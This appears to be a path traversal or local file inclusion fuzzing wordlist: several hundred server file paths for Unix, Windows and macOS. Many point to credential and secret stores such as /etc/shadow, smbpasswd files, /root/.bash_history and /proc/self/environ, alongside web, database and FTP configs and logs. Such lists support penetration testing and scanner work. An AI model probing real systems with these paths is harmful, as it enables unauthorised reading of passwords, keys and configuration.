/config.inc.php /error.log /error_log /etc/adduser.conf /etc/alias /etc/apache/access.conf /etc/apache/apache.conf /etc/apache/conf/httpd.conf /etc/apache/default-server.conf /etc/apache/httpd.conf /etc/apache2/apache.conf /etc/apache2/apache2.conf /etc/apache2/conf.d/charset /etc/apache2/conf.d/phpmyadmin.conf /etc/apache2/conf.d/security /etc/apache2/conf/httpd.conf /etc/apache2/default-server.conf /etc/apache2/envvars /etc/apache2/httpd.conf /etc/apache2/httpd2.conf /etc/apache2/mods-available/autoindex.conf /etc/apache2/mods-available/deflate.conf /etc/apache2/mods-available/dir.conf /etc/apache2/mods-available/mem_cache.conf /etc/apache2/mods-available/mime.conf /etc/apache2/mods-available/proxy.conf /etc/apache2/mods-available/setenvif.conf /etc/apache2/mods-available/ssl.conf /etc/apache2/mods-enabled/alias.conf /etc/apache2/mods-enabled/deflate.conf /etc/apache2/mods-enabled/dir.conf /etc/apache2/mods-enabled/mime.conf /etc/apache2/mods-enabled/negotiation.conf /etc/apache2/mods-enabled/php5.conf /etc/apache2/mods-enabled/status.conf /etc/apache2/ports.conf /etc/apache2/sites-available/default /etc/apache2/sites-available/default-ssl /etc/apache2/sites-enabled/000-default /etc/apache2/sites-enabled/default /etc/apache2/ssl-global.conf /etc/apache2/vhosts.d/00_default_vhost.conf /etc/apache2/vhosts.d/default_vhost.include /etc/apache22/conf/httpd.conf /etc/apache22/httpd.conf /etc/apt/apt.conf /etc/avahi/avahi-daemon.conf /etc/bash.bashrc /etc/bash_completion.d/debconf /etc/bluetooth/input.conf /etc/bluetooth/main.conf /etc/bluetooth/network.conf /etc/bluetooth/rfcomm.conf /etc/ca-certificates.conf /etc/ca-certificates.conf.dpkg-old /etc/casper.conf /etc/chkrootkit.conf /etc/chrootusers /etc/clamav/clamd.conf /etc/clamav/freshclam.conf /etc/crontab /etc/crypttab /etc/cups/acroread.conf /etc/cups/cupsd.conf /etc/cups/cupsd.conf.default /etc/cups/pdftops.conf /etc/cups/printers.conf /etc/cvs-cron.conf /etc/cvs-pserver.conf /etc/debconf.conf /etc/debian_version /etc/default/grub /etc/deluser.conf /etc/dhcp/dhclient.conf /etc/dhcp3/dhclient.conf /etc/dhcp3/dhcpd.conf /etc/dns2tcpd.conf /etc/e2fsck.conf /etc/esound/esd.conf /etc/etter.conf /etc/exports /etc/fedora-release /etc/firewall.rules /etc/foremost.conf /etc/fstab /etc/ftpchroot /etc/ftphosts /etc/ftpusers /etc/fuse.conf /etc/group /etc/group- /etc/hdparm.conf /etc/host.conf /etc/hostname /etc/hosts /etc/hosts.allow /etc/hosts.deny /etc/http/conf/httpd.conf /etc/http/httpd.conf /etc/httpd.conf /etc/httpd/apache.conf /etc/httpd/apache2.conf /etc/httpd/conf /etc/httpd/conf.d /etc/httpd/conf.d/php.conf /etc/httpd/conf.d/squirrelmail.conf /etc/httpd/conf/apache.conf /etc/httpd/conf/apache2.conf /etc/httpd/conf/httpd.conf /etc/httpd/extra/httpd-ssl.conf /etc/httpd/httpd.conf /etc/httpd/logs/access.log /etc/httpd/logs/access_log /etc/httpd/logs/error.log /etc/httpd/logs/error_log /etc/httpd/mod_php.conf /etc/httpd/php.ini /etc/inetd.conf /etc/init.d /etc/inittab /etc/ipfw.conf /etc/ipfw.rules /etc/issue /etc/issue /etc/issue.net /etc/kbd/config /etc/kernel-img.conf /etc/kernel-pkg.conf /etc/ld.so.conf /etc/ldap/ldap.conf /etc/lighttpd/lighthttpd.conf /etc/login.defs /etc/logrotate.conf /etc/logrotate.d/ftp /etc/logrotate.d/proftpd /etc/logrotate.d/vsftpd.log /etc/ltrace.conf /etc/mail/sendmail.conf /etc/mandrake-release /etc/manpath.config /etc/miredo-server.conf /etc/miredo.conf /etc/miredo/miredo-server.conf /etc/miredo/miredo.conf /etc/modprobe.d/vmware-tools.conf /etc/modules /etc/mono/1.0/machine.config /etc/mono/2.0/machine.config /etc/mono/2.0/web.config /etc/mono/config /etc/motd /etc/motd /etc/mtab /etc/mtools.conf /etc/muddleftpd.com /etc/muddleftpd/muddleftpd.conf /etc/muddleftpd/muddleftpd.passwd /etc/muddleftpd/mudlog /etc/muddleftpd/mudlogd.conf /etc/muddleftpd/passwd /etc/my.cnf /etc/mysql/conf.d/old_passwords.cnf /etc/mysql/my.cnf /etc/networks /etc/newsyslog.conf /etc/nginx/nginx.conf /etc/openldap/ldap.conf /etc/os-release /etc/osxhttpd/osxhttpd.conf /etc/pam.conf /etc/pam.d/proftpd /etc/passwd /etc/passwd /etc/passwd- /etc/passwd~ /etc/password.master /etc/php.ini /etc/php/apache/php.ini /etc/php/apache2/php.ini /etc/php/cgi/php.ini /etc/php/php.ini /etc/php/php4/php.ini /etc/php4.4/fcgi/php.ini /etc/php4/apache/php.ini /etc/php4/apache2/php.ini /etc/php4/cgi/php.ini /etc/php5/apache/php.ini /etc/php5/apache2/php.ini /etc/php5/cgi/php.ini /etc/phpmyadmin/config.inc.php /etc/postgresql/pg_hba.conf /etc/postgresql/postgresql.conf /etc/profile /etc/proftp.conf /etc/proftpd/modules.conf /etc/protpd/proftpd.conf /etc/pulse/client.conf /etc/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.pdb /etc/pure-ftpd/pureftpd.pdb /etc/pureftpd.passwd /etc/pureftpd.pdb /etc/rc.conf /etc/rc.d/rc.httpd /etc/redhat-release /etc/resolv.conf /etc/resolvconf/update-libc.d/sendmail /etc/samba/dhcp.conf /etc/samba/netlogon /etc/samba/private/smbpasswd /etc/samba/samba.conf /etc/samba/smb.conf /etc/samba/smb.conf.user /etc/samba/smbpasswd /etc/samba/smbusers /etc/security/access.conf /etc/security/environ /etc/security/failedlogin /etc/security/group /etc/security/group.conf /etc/security/lastlog /etc/security/limits /etc/security/limits.conf /etc/security/namespace.conf /etc/security/opasswd /etc/security/pam_env.conf /etc/security/passwd /etc/security/sepermit.conf /etc/security/time.conf /etc/security/user /etc/sensors.conf /etc/sensors3.conf /etc/shadow /etc/shadow- /etc/shadow~ /etc/slackware-release /etc/smb.conf /etc/smbpasswd /etc/smi.conf /etc/squirrelmail/apache.conf /etc/squirrelmail/config.php /etc/squirrelmail/config/config.php /etc/squirrelmail/config_default.php /etc/squirrelmail/config_local.php /etc/squirrelmail/default_pref /etc/squirrelmail/filters_setup.php /etc/squirrelmail/index.php /etc/squirrelmail/sqspell_config.php /etc/ssh/sshd_config /etc/sso/sso_config.ini /etc/stunnel/stunnel.conf /etc/subversion/config /etc/sudoers /etc/suse-release /etc/sw-cp-server/applications.d/00-sso-cpserver.conf /etc/sw-cp-server/applications.d/plesk.conf /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/sysctl.conf /etc/sysctl.d/10-console-messages.conf /etc/sysctl.d/10-network-security.conf /etc/sysctl.d/10-process-security.conf /etc/sysctl.d/wine.sysctl.conf /etc/syslog.conf /etc/timezone /etc/tinyproxy/tinyproxy.conf /etc/tor/tor-tsocks.conf /etc/tsocks.conf /etc/updatedb.conf /etc/updatedb.conf.beforevmwaretoolsinstall /etc/utmp /etc/vhcs2/proftpd/proftpd.conf /etc/vmware-tools/config /etc/vmware-tools/tpvmlp.conf /etc/vmware-tools/vmware-tools-libraries.conf /etc/vsftpd.chroot_list /etc/vsftpd.conf /etc/vsftpd/vsftpd.conf /etc/webmin/miniserv.conf /etc/webmin/miniserv.users /etc/wicd/dhclient.conf.template.default /etc/wicd/manager-settings.conf /etc/wicd/wired-settings.conf /etc/wicd/wireless-settings.conf /etc/wu-ftpd/ftpaccess /etc/wu-ftpd/ftphosts /etc/wu-ftpd/ftpusers /etc/x11/xorg.conf /etc/x11/xorg.conf-vesa /etc/x11/xorg.conf-vmware /etc/x11/xorg.conf.beforevmwaretoolsinstall /etc/x11/xorg.conf.orig /home/bin/stable/apache/php.ini /home/postgres/data/pg_hba.conf /home/postgres/data/pg_ident.conf /home/postgres/data/pg_version /home/postgres/data/postgresql.conf /home/user/lighttpd/lighttpd.conf /home2/bin/stable/apache/php.ini /http/httpd.conf /library/webserver/documents/.htaccess /library/webserver/documents/default.htm /library/webserver/documents/default.html /library/webserver/documents/default.php /library/webserver/documents/index.htm /library/webserver/documents/index.html /library/webserver/documents/index.php /logs/access.log /logs/access_log /logs/error.log /logs/error_log /logs/pure-ftpd.log /logs/security_debug_log /logs/security_log /mysql/bin/my.ini /mysql/data/mysql-bin.index /mysql/data/mysql-bin.log /mysql/data/mysql.err /mysql/data/mysql.log /mysql/my.cnf /mysql/my.ini /netserver/bin/stable/apache/php.ini /opt/jboss/server/default/conf/jboss-minimal.xml /opt/jboss/server/default/conf/jboss-service.xml /opt/jboss/server/default/conf/jndi.properties /opt/jboss/server/default/conf/log4j.xml /opt/jboss/server/default/conf/login-config.xml /opt/jboss/server/default/conf/server.log.properties /opt/jboss/server/default/conf/standardjaws.xml /opt/jboss/server/default/conf/standardjboss.xml /opt/jboss/server/default/deploy/jboss-logging.xml /opt/jboss/server/default/log/boot.log /opt/jboss/server/default/log/server.log /opt/apache/apache.conf /opt/apache/apache2.conf /opt/apache/conf/apache.conf /opt/apache/conf/apache2.conf /opt/apache/conf/httpd.conf /opt/apache2/apache.conf /opt/apache2/apache2.conf /opt/apache2/conf/apache.conf /opt/apache2/conf/apache2.conf /opt/apache2/conf/httpd.conf /opt/apache22/conf/httpd.conf /opt/httpd/apache.conf /opt/httpd/apache2.conf /opt/httpd/conf/apache.conf /opt/httpd/conf/apache2.conf /opt/lampp/etc/httpd.conf /opt/lampp/logs/access.log /opt/lampp/logs/access_log /opt/lampp/logs/error.log /opt/lampp/logs/error_log /opt/lsws/conf/httpd_conf.xml /opt/lsws/logs/access.log /opt/lsws/logs/error.log /opt/tomcat/logs/catalina.err /opt/tomcat/logs/catalina.out /opt/xampp/etc/php.ini /opt/xampp/logs/access.log /opt/xampp/logs/access_log /opt/xampp/logs/error.log /opt/xampp/logs/error_log /php/php.ini /php/php.ini /php4/php.ini /php5/php.ini /postgresql/log/pgadmin.log /private/etc/httpd/apache.conf /private/etc/httpd/apache2.conf /private/etc/httpd/httpd.conf /private/etc/httpd/httpd.conf.default /private/etc/squirrelmail/config/config.php /proc/cpuinfo /proc/devices /proc/meminfo /proc/net/tcp /proc/net/udp /proc/self/cmdline /proc/self/environ /proc/self/environ /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/10 /proc/self/fd/11 /proc/self/fd/12 /proc/self/fd/13 /proc/self/fd/14 /proc/self/fd/15 /proc/self/fd/2 /proc/self/fd/3 /proc/self/fd/4 /proc/self/fd/5 /proc/self/fd/6 /proc/self/fd/7 /proc/self/fd/8 /proc/self/fd/9 /proc/self/mounts /proc/self/stat /proc/self/status /proc/version /program files/jboss/server/default/conf/jboss-minimal.xml /program files/jboss/server/default/conf/jboss-service.xml /program files/jboss/server/default/conf/jndi.properties /program files/jboss/server/default/conf/log4j.xml /program files/jboss/server/default/conf/login-config.xml /program files/jboss/server/default/conf/server.log.properties /program files/jboss/server/default/conf/standardjaws.xml /program files/jboss/server/default/conf/standardjboss.xml /program files/jboss/server/default/deploy/jboss-logging.xml /program files/jboss/server/default/log/boot.log /program files/jboss/server/default/log/server.log /program files/apache group/apache/apache.conf /program files/apache group/apache/apache2.conf /program files/apache group/apache/conf/apache.conf /program files/apache group/apache/conf/apache2.conf /program files/apache group/apache/conf/httpd.conf /program files/apache group/apache/logs/access.log /program files/apache group/apache/logs/error.log /program files/apache group/apache2/conf/apache.conf /program files/apache group/apache2/conf/apache2.conf /program files/apache group/apache2/conf/httpd.conf /program files/apache software foundation/apache2.2/conf/httpd.conf /program files/apache software foundation/apache2.2/logs/access.log /program files/apache software foundation/apache2.2/logs/error.log /program files/mysql/data/mysql-bin.index /program files/mysql/data/mysql-bin.log /program files/mysql/data/mysql.err /program files/mysql/data/mysql.log /program files/mysql/my.cnf /program files/mysql/my.ini /program files/mysql/mysql server 5.0/data/mysql-bin.index /program files/mysql/mysql server 5.0/data/mysql-bin.log /program files/mysql/mysql server 5.0/data/mysql.err /program files/mysql/mysql server 5.0/data/mysql.log /program files/mysql/mysql server 5.0/my.cnf /program files/mysql/mysql server 5.0/my.ini /program files/postgresql/8.3/data/pg_hba.conf /program files/postgresql/8.3/data/pg_ident.conf /program files/postgresql/8.3/data/postgresql.conf /program files/postgresql/8.4/data/pg_hba.conf /program files/postgresql/8.4/data/pg_ident.conf /program files/postgresql/8.4/data/postgresql.conf /program files/postgresql/9.0/data/pg_hba.conf /program files/postgresql/9.0/data/pg_ident.conf /program files/postgresql/9.0/data/postgresql.conf /program files/postgresql/9.1/data/pg_hba.conf /program files/postgresql/9.1/data/pg_ident.conf /program files/postgresql/9.1/data/postgresql.conf /program files/vidalia bundle/polipo/polipo.conf /program files/xampp/apache/conf/apache.conf /program files/xampp/apache/conf/apache2.conf /program files/xampp/apache/conf/httpd.conf /root/.bash_config /root/.bash_history /root/.bash_logout /root/.bashrc /root/.ksh_history /root/.xauthority /srv/www/htdos/squirrelmail/config/config.php /ssl_request_log /system/library/webobjects/adaptors/apache2.2/apache.conf /temp/sess_ /thttpd_log /tmp/jboss/server/default/conf/jboss-minimal.xml /tmp/jboss/server/default/conf/jboss-service.xml /tmp/jboss/server/default/conf/jndi.properties /tmp/jboss/server/default/conf/log4j.xml /tmp/jboss/server/default/conf/login-config.xml /tmp/jboss/server/default/conf/server.log.properties /tmp/jboss/server/default/conf/standardjaws.xml /tmp/jboss/server/default/conf/standardjboss.xml /tmp/jboss/server/default/deploy/jboss-logging.xml /tmp/jboss/server/default/log/boot.log /tmp/jboss/server/default/log/server.log /tmp/access.log /tmp/sess_ /usr/apache/conf/httpd.conf /usr/apache2/conf/httpd.conf /usr/etc/pure-ftpd.conf /usr/home/user/lighttpd/lighttpd.conf /usr/home/user/var/log/apache.log /usr/home/user/var/log/lighttpd.error.log /usr/internet/pgsql/data/pg_hba.conf /usr/internet/pgsql/data/postmaster.log /usr/lib/cron/log /usr/lib/php.ini /usr/lib/php/php.ini /usr/lib/security/mkuser.default /usr/local/jboss/server/default/conf/jboss-minimal.xml /usr/local/jboss/server/default/conf/jboss-service.xml /usr/local/jboss/server/default/conf/jndi.properties /usr/local/jboss/server/default/conf/log4j.xml /usr/local/jboss/server/default/conf/login-config.xml /usr/local/jboss/server/default/conf/server.log.properties /usr/local/jboss/server/default/conf/standardjaws.xml /usr/local/jboss/server/default/conf/standardjboss.xml /usr/local/jboss/server/default/deploy/jboss-logging.xml /usr/local/jboss/server/default/log/boot.log /usr/local/jboss/server/default/log/server.log /usr/local/apache/apache.conf /usr/local/apache/apache2.conf /usr/local/apache/conf/access.conf /usr/local/apache/conf/apache.conf /usr/local/apache/conf/apache2.conf /usr/local/apache/conf/httpd.conf /usr/local/apache/conf/httpd.conf.default /usr/local/apache/conf/modsec.conf /usr/local/apache/conf/php.ini /usr/local/apache/conf/vhosts-custom.conf /usr/local/apache/conf/vhosts.conf /usr/local/apache/httpd.conf /usr/local/apache/logs/access.log /usr/local/apache/logs/access_log /usr/local/apache/logs/audit_log /usr/local/apache/logs/error.log /usr/local/apache/logs/error_log /usr/local/apache/logs/lighttpd.error.log /usr/local/apache/logs/lighttpd.log /usr/local/apache/logs/mod_jk.log /usr/local/apache1.3/conf/httpd.conf /usr/local/apache2/apache.conf /usr/local/apache2/apache2.conf /usr/local/apache2/conf/apache.conf /usr/local/apache2/conf/apache2.conf /usr/local/apache2/conf/extra/httpd-ssl.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache2/conf/modsec.conf /usr/local/apache2/conf/ssl.conf /usr/local/apache2/conf/vhosts-custom.conf /usr/local/apache2/conf/vhosts.conf /usr/local/apache2/httpd.conf /usr/local/apache2/logs/access.log /usr/local/apache2/logs/access_log /usr/local/apache2/logs/audit_log /usr/local/apache2/logs/error.log /usr/local/apache2/logs/error_log /usr/local/apache2/logs/lighttpd.error.log /usr/local/apache2/logs/lighttpd.log /usr/local/apache22/conf/httpd.conf /usr/local/apache22/httpd.conf /usr/local/apps/apache/conf/httpd.conf /usr/local/apps/apache2/conf/httpd.conf /usr/local/apps/apache22/conf/httpd.conf /usr/local/cpanel/logs/access_log /usr/local/cpanel/logs/error_log /usr/local/cpanel/logs/license_log /usr/local/cpanel/logs/login_log /usr/local/cpanel/logs/stats_log /usr/local/etc/apache/conf/httpd.conf /usr/local/etc/apache/httpd.conf /usr/local/etc/apache/vhosts.conf /usr/local/etc/apache2/conf/httpd.conf /usr/local/etc/apache2/httpd.conf /usr/local/etc/apache2/vhosts.conf /usr/local/etc/apache22/conf/httpd.conf /usr/local/etc/apache22/httpd.conf /usr/local/etc/httpd/conf /usr/local/etc/httpd/conf/httpd.conf /usr/local/etc/lighttpd.conf /usr/local/etc/lighttpd.conf.new /usr/local/etc/nginx/nginx.conf /usr/local/etc/php.ini /usr/local/etc/pure-ftpd.conf /usr/local/etc/pureftpd.pdb /usr/local/etc/smb.conf /usr/local/etc/webmin/miniserv.conf /usr/local/etc/webmin/miniserv.users /usr/local/httpd/conf/httpd.conf /usr/local/jakarta/dist/tomcat/conf/context.xml /usr/local/jakarta/dist/tomcat/conf/jakarta.conf /usr/local/jakarta/dist/tomcat/conf/logging.properties /usr/local/jakarta/dist/tomcat/conf/server.xml /usr/local/jakarta/dist/tomcat/conf/workers.properties /usr/local/jakarta/dist/tomcat/logs/mod_jk.log /usr/local/jakarta/tomcat/conf/context.xml /usr/local/jakarta/tomcat/conf/jakarta.conf /usr/local/jakarta/tomcat/conf/logging.properties /usr/local/jakarta/tomcat/conf/server.xml /usr/local/jakarta/tomcat/conf/workers.properties /usr/local/jakarta/tomcat/logs/catalina.err /usr/local/jakarta/tomcat/logs/catalina.out /usr/local/jakarta/tomcat/logs/mod_jk.log /usr/local/lib/php.ini /usr/local/lighttpd/conf/lighttpd.conf /usr/local/lighttpd/log/access.log /usr/local/lighttpd/log/lighttpd.error.log /usr/local/logs/access.log /usr/local/logs/samba.log /usr/local/lsws/conf/httpd_conf.xml /usr/local/lsws/logs/error.log /usr/local/mysql/data/mysql-bin.index /usr/local/mysql/data/mysql-bin.log /usr/local/mysql/data/mysql-slow.log /usr/local/mysql/data/mysql.err /usr/local/mysql/data/mysql.log /usr/local/mysql/data/mysqlderror.log /usr/local/nginx/conf/nginx.conf /usr/local/pgsql/bin/pg_passwd /usr/local/pgsql/data/passwd /usr/local/pgsql/data/pg_hba.conf /usr/local/pgsql/data/pg_log /usr/local/pgsql/data/postgresql.conf /usr/local/pgsql/data/postgresql.log /usr/local/php/apache.conf /usr/local/php/apache.conf.php /usr/local/php/apache2.conf /usr/local/php/apache2.conf.php /usr/local/php/httpd.conf /usr/local/php/httpd.conf.php /usr/local/php/lib/php.ini /usr/local/php4/apache.conf /usr/local/php4/apache.conf.php /usr/local/php4/apache2.conf /usr/local/php4/apache2.conf.php /usr/local/php4/httpd.conf /usr/local/php4/httpd.conf.php /usr/local/php4/lib/php.ini /usr/local/php5/apache.conf /usr/local/php5/apache.conf.php /usr/local/php5/apache2.conf /usr/local/php5/apache2.conf.php /usr/local/php5/httpd.conf /usr/local/php5/httpd.conf.php /usr/local/php5/lib/php.ini /usr/local/psa/admin/conf/php.ini /usr/local/psa/admin/conf/site_isolation_settings.ini /usr/local/psa/admin/htdocs/domains/databases/phpmyadmin/libraries/config.default.php /usr/local/psa/admin/logs/httpsd_access_log /usr/local/psa/admin/logs/panel.log /usr/local/pureftpd/etc/pure-ftpd.conf /usr/local/pureftpd/etc/pureftpd.pdb /usr/local/pureftpd/sbin/pure-config.pl /usr/local/samba/lib/log.user /usr/local/samba/lib/smb.conf.user /usr/local/sb/config /usr/local/squirrelmail/www/readme /usr/local/zend/etc/php.ini /usr/local/zeus/web/global.cfg /usr/local/zeus/web/log/errors /usr/pkg/etc/httpd/httpd-default.conf /usr/pkg/etc/httpd/httpd-vhosts.conf /usr/pkg/etc/httpd/httpd.conf /usr/pkgsrc/net/pureftpd/pure-ftpd.conf /usr/pkgsrc/net/pureftpd/pureftpd.passwd /usr/pkgsrc/net/pureftpd/pureftpd.pdb /usr/ports/contrib/pure-ftpd/pure-ftpd.conf /usr/ports/contrib/pure-ftpd/pureftpd.passwd /usr/ports/contrib/pure-ftpd/pureftpd.pdb /usr/ports/ftp/pure-ftpd/pure-ftpd.conf /usr/ports/ftp/pure-ftpd/pureftpd.passwd /usr/ports/ftp/pure-ftpd/pureftpd.pdb /usr/ports/net/pure-ftpd/pure-ftpd.conf /usr/ports/net/pure-ftpd/pureftpd.passwd /usr/ports/net/pure-ftpd/pureftpd.pdb /usr/sbin/mudlogd /usr/sbin/mudpasswd /usr/sbin/pure-config.pl /usr/share/adduser/adduser.conf /usr/share/logs/catalina.err /usr/share/logs/catalina.out /usr/share/squirrelmail/config/config.php /usr/share/squirrelmail/plugins/squirrel_logger/setup.php /usr/share/tomcat/logs/catalina.err /usr/share/tomcat/logs/catalina.out /usr/share/tomcat6/conf/context.xml /usr/share/tomcat6/conf/logging.properties /usr/share/tomcat6/conf/server.xml /usr/share/tomcat6/conf/workers.properties /usr/share/tomcat6/logs/catalina.err /usr/share/tomcat6/logs/catalina.out /usr/spool/lp/log /usr/spool/mqueue/syslog /var/adm/acct/sum/loginlog /var/adm/aculog /var/adm/aculogs /var/adm/crash/unix /var/adm/crash/vmcore /var/adm/cron/log /var/adm/dtmp /var/adm/lastlog/username /var/adm/log/asppp.log /var/adm/log/xferlog /var/adm/loginlog /var/adm/lp/lpd-errs /var/adm/messages /var/adm/pacct /var/adm/qacct /var/adm/ras/bootlog /var/adm/ras/errlog /var/adm/sulog /var/adm/syslog /var/adm/utmp /var/adm/utmpx /var/adm/vold.log /var/adm/wtmp /var/adm/wtmpx /var/adm/x0msgs /var/apache/conf/httpd.conf /var/cpanel/cpanel.config /var/cpanel/tomcat.options /var/cron/log /var/data/mysql-bin.index /var/lib/mysql/my.cnf /var/lib/pgsql/data/postgresql.conf /var/lib/squirrelmail/prefs/squirrelmail.log /var/lighttpd.log /var/local/www/conf/php.ini /var/log/access.log /var/log/access_log /var/log/apache/access.log /var/log/apache/access_log /var/log/apache/error.log /var/log/apache/error_log /var/log/apache2/access.log /var/log/apache2/access_log /var/log/apache2/error.log /var/log/apache2/error_log /var/log/apache2/squirrelmail.err.log /var/log/apache2/squirrelmail.log /var/log/auth.log /var/log/auth.log /var/log/authlog /var/log/boot.log /var/log/cron/var/log/postgres.log /var/log/daemon.log /var/log/daemon.log.1 /var/log/data/mysql-bin.index /var/log/error.log /var/log/error_log /var/log/exim/mainlog /var/log/exim/paniclog /var/log/exim/rejectlog /var/log/exim_mainlog /var/log/exim_paniclog /var/log/exim_rejectlog /var/log/ftp-proxy /var/log/ftp-proxy/ftp-proxy.log /var/log/ftplog /var/log/httpd/access.log /var/log/httpd/access_log /var/log/httpd/error.log /var/log/httpd/error_log /var/log/ipfw /var/log/ipfw.log /var/log/ipfw.today /var/log/ipfw/ipfw.log /var/log/kern.log /var/log/kern.log.1 /var/log/lighttpd.access.log /var/log/lighttpd.error.log /var/log/lighttpd/access.log /var/log/lighttpd/access.www.log /var/log/lighttpd/error.log /var/log/lighttpd/error.www.log /var/log/log.smb /var/log/mail.err /var/log/mail.info /var/log/mail.log /var/log/mail.log /var/log/mail.warn /var/log/maillog /var/log/messages /var/log/messages.1 /var/log/muddleftpd /var/log/muddleftpd.conf /var/log/mysql-bin.index /var/log/mysql.err /var/log/mysql.log /var/log/mysql/data/mysql-bin.index /var/log/mysql/mysql-bin.index /var/log/mysql/mysql-bin.log /var/log/mysql/mysql-slow.log /var/log/mysql/mysql.log /var/log/mysqlderror.log /var/log/news.all /var/log/news/news.all /var/log/news/news.crit /var/log/news/news.err /var/log/news/news.notice /var/log/news/suck.err /var/log/news/suck.notice /var/log/nginx.access_log /var/log/nginx.error_log /var/log/nginx/access.log /var/log/nginx/access_log /var/log/nginx/error.log /var/log/nginx/error_log /var/log/pgsql/pgsql.log /var/log/pgsql8.log /var/log/pgsql_log /var/log/pm-powersave.log /var/log/poplog /var/log/postgres/pg_backup.log /var/log/postgres/postgres.log /var/log/postgresql.log /var/log/postgresql/main.log /var/log/postgresql/postgres.log /var/log/postgresql/postgresql-8.1-main.log /var/log/postgresql/postgresql-8.3-main.log /var/log/postgresql/postgresql-8.4-main.log /var/log/postgresql/postgresql-9.0-main.log /var/log/postgresql/postgresql-9.1-main.log /var/log/postgresql/postgresql.log /var/log/proftpd /var/log/proftpd.access_log /var/log/proftpd.xferlog /var/log/proftpd/xferlog.legacy /var/log/pure-ftpd/pure-ftpd.log /var/log/pureftpd.log /var/log/samba.log /var/log/samba.log1 /var/log/samba.log2 /var/log/samba/log.nmbd /var/log/samba/log.smbd /var/log/squirrelmail.log /var/log/sso/sso.log /var/log/sw-cp-server/error_log /var/log/syslog /var/log/syslog.1 /var/log/thttpd_log /var/log/tomcat6/catalina.out /var/log/ufw.log /var/log/user.log /var/log/user.log.1 /var/log/vmware/hostd-1.log /var/log/vmware/hostd.log /var/log/vsftpd.log /var/log/webmin/miniserv.log /var/log/xferlog /var/log/xorg.0.log /var/logs/access.log /var/lp/logs/lpnet /var/lp/logs/lpsched /var/lp/logs/requests /var/mysql-bin.index /var/mysql.log /var/nm2/postgresql.conf /var/postgresql/db/postgresql.conf /var/postgresql/log/postgresql.log /var/saf/_log /var/saf/port/log /var/www/.lighttpdpassword /var/www/conf /var/www/conf/httpd.conf /var/www/html/squirrelmail-1.2.9/config/config.php /var/www/html/squirrelmail/config/config.php /var/www/logs/access.log /var/www/logs/access_log /var/www/logs/error.log /var/www/logs/error_log /var/www/squirrelmail/config/config.php /volumes/macintosh_hd1/opt/apache/conf/httpd.conf /volumes/macintosh_hd1/opt/apache2/conf/httpd.conf /volumes/macintosh_hd1/opt/httpd/conf/httpd.conf /volumes/macintosh_hd1/usr/local/php/httpd.conf.php /volumes/macintosh_hd1/usr/local/php/lib/php.ini /volumes/macintosh_hd1/usr/local/php4/httpd.conf.php /volumes/macintosh_hd1/usr/local/php5/httpd.conf.php /volumes/webbackup/opt/apache2/conf/httpd.conf /volumes/webbackup/private/etc/httpd/httpd.conf /volumes/webbackup/private/etc/httpd/httpd.conf.default /wamp/bin/apache/apache2.2.21/conf/httpd.conf /wamp/bin/apache/apache2.2.21/logs/access.log /wamp/bin/apache/apache2.2.21/logs/error.log /wamp/bin/apache/apache2.2.21/wampserver.conf /wamp/bin/apache/apache2.2.22/conf/httpd.conf /wamp/bin/apache/apache2.2.22/conf/wampserver.conf /wamp/bin/apache/apache2.2.22/logs/access.log /wamp/bin/apache/apache2.2.22/logs/error.log /wamp/bin/apache/apache2.2.22/wampserver.conf /wamp/bin/mysql/mysql5.5.16/data/mysql-bin.index /wamp/bin/mysql/mysql5.5.16/my.ini /wamp/bin/mysql/mysql5.5.16/wampserver.conf /wamp/bin/mysql/mysql5.5.24/data/mysql-bin.index /wamp/bin/mysql/mysql5.5.24/my.ini /wamp/bin/mysql/mysql5.5.24/wampserver.conf /wamp/bin/php/php5.3.8/php.ini /wamp/bin/php/php5.4.3/php.ini /wamp/logs/access.log /wamp/logs/apache_error.log /wamp/logs/genquery.log /wamp/logs/mysql.log /wamp/logs/slowquery.log /web/conf/php.ini /windows/comsetup.log /windows/debug/netsetup.log /windows/odbc.ini /windows/php.ini /windows/repair/setup.log /windows/setupact.log /windows/setupapi.log /windows/setuperr.log /windows/win.ini /windows/system32/drivers/etc/hosts /windows/system32/drivers/etc/lmhosts.sam /windows/system32/drivers/etc/networks /windows/system32/drivers/etc/protocol /windows/system32/drivers/etc/services /windows/system32/logfiles/firewall/pfirewall.log /windows/system32/logfiles/firewall/pfirewall.log.old /windows/system32/logfiles/msftpsvc /windows/system32/logfiles/msftpsvc1 /windows/system32/logfiles/msftpsvc2 /windows/system32/logfiles/smtpsvc /windows/system32/logfiles/smtpsvc1 /windows/system32/logfiles/smtpsvc2 /windows/system32/logfiles/smtpsvc3 /windows/system32/logfiles/smtpsvc4 /windows/system32/logfiles/smtpsvc5 /windows/system32/logfiles/w3svc/inetsvn1.log /windows/system32/logfiles/w3svc1/inetsvn1.log /windows/system32/logfiles/w3svc2/inetsvn1.log /windows/system32/logfiles/w3svc3/inetsvn1.log /windows/system32/macromed/flash/flashinstall.log /windows/system32/macromed/flash/install.log /windows/updspapi.log /windows/windowsupdate.log /windows/wmsetup.log /winnt/php.ini /winnt/system32/logfiles/firewall/pfirewall.log /winnt/system32/logfiles/firewall/pfirewall.log.old /winnt/system32/logfiles/msftpsvc /winnt/system32/logfiles/msftpsvc1 /winnt/system32/logfiles/msftpsvc2 /winnt/system32/logfiles/smtpsvc /winnt/system32/logfiles/smtpsvc1 /winnt/system32/logfiles/smtpsvc2 /winnt/system32/logfiles/smtpsvc3 /winnt/system32/logfiles/smtpsvc4 /winnt/system32/logfiles/smtpsvc5 /winnt/system32/logfiles/w3svc/inetsvn1.log /winnt/system32/logfiles/w3svc1/inetsvn1.log /winnt/system32/logfiles/w3svc2/inetsvn1.log /winnt/system32/logfiles/w3svc3/inetsvn1.log /www/apache/conf/httpd.conf /www/conf/httpd.conf /www/logs/freebsddiary-access_log /www/logs/freebsddiary-error.log /www/logs/proftpd.system.log /xampp/apache/bin/php.ini /xampp/apache/conf/httpd.conf /xampp/apache/logs/access.log /xampp/apache/logs/error.log /xampp/filezillaftp/filezilla server.xml /xampp/htdocs/aca.txt /xampp/htdocs/admin.php /xampp/htdocs/leer.txt /xampp/mercurymail/mercury.ini /xampp/mysql/data/mysql-bin.index /xampp/mysql/data/mysql.err /xampp/php/php.ini /xampp/phpmyadmin/config.inc.php /xampp/sendmail/sendmail.ini /xampp/sendmail/sendmail.log /xampp/webalizer/webalizer.conf \autoexec.bat 